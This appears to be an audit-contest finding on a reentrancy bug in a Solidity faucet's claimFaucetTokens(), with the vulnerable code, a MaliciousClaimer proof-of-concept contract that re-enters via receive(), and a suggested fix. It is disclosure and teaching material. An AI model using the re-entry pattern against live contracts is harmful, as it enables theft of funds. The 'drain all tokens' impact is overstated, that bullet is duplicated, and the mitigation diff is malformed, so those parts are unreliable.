Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: medium

Reentrancy / Double Token Withdrawal in claimFaucetTokens

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior:
    When a user calls claimFaucetTokens(), the contract should record that the user has made a claim (lastClaimTime), increment the daily claim counter, and then send the faucet tokens and (for first-time claimers) a small Sepolia ETH drip.

  • Vulnerability:
    The contract makes an external call (sending Sepolia ETH to the user faucetClaimer.call{value: ...}("")) before updating critical state variables such as lastClaimTime and dailyClaimCount.
    A malicious contract can use its fallback or receive function to re-enter claimFaucetTokens() during the same transaction — allowing multiple token transfers before the cooldown or claim limits are enforced.
    Additionally, storing faucetClaimer as a state variable instead of using a local variable further increases reentrancy surface and potential state confusion.

if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @> EXTERNAL CALL TO CLAIMANT OCCURS HERE BEFORE STATE UPDATES
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
}
// @> STATE UPDATES OCCUR AFTER THE EXTERNAL CALL (VULNERABILITY)
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);

Risk

Likelihood:

  • The issue will occur whenever a malicious smart contract claims from the faucet for the first time and receives Sepolia ETH — its fallback can re-enter claimFaucetTokens() before state is updated.

  • Any time the faucet has sufficient ETH balance to drip, a reentrancy can be triggered to drain tokens and bypass the cooldown and daily claim limits.

Impact:

  • An attacker can drain all faucet tokens by repeatedly re-entering the function before the state variables are updated.

  • An attacker can drain all faucet tokens by repeatedly re-entering the function before the state variables are updated.

Proof of Concept

// Simplified malicious contract to exploit the reentrancy
contract MaliciousClaimer {
RaiseBoxFaucet public faucet;
uint256 public count;
constructor(address faucetAddress) {
faucet = RaiseBoxFaucet(faucetAddress);
}
// start the exploit
function attack() external {
faucet.claimFaucetTokens();
}
// triggered when receiving ETH
receive() external payable {
if (count < 3) { // reenter multiple times before state updates
count++;
faucet.claimFaucetTokens();
}
}
}

MaliciousClaimer receives multiple faucet token transfers within a single transaction, bypassing the 3-day cooldown and daily limits.

Recommended Mitigation

- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // Update all state variables BEFORE external calls
+ lastClaimTime[msg.sender] = block.timestamp;
+ dailyClaimCount++;
+
+ // Use a local variable instead of state variable for claimer
+ address claimer = msg.sender;
+
+ // Protect against reentrancy
+ (bool success, ) = claimer.call{value: sepEthAmountToDrip}("");
+ if (!success) revert RaiseBoxFaucet_EthTransferFailed();
+
+ // Apply OpenZeppelin’s ReentrancyGuard for additional protection
+ function claimFaucetTokens() external nonReentrant {
+ ...
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.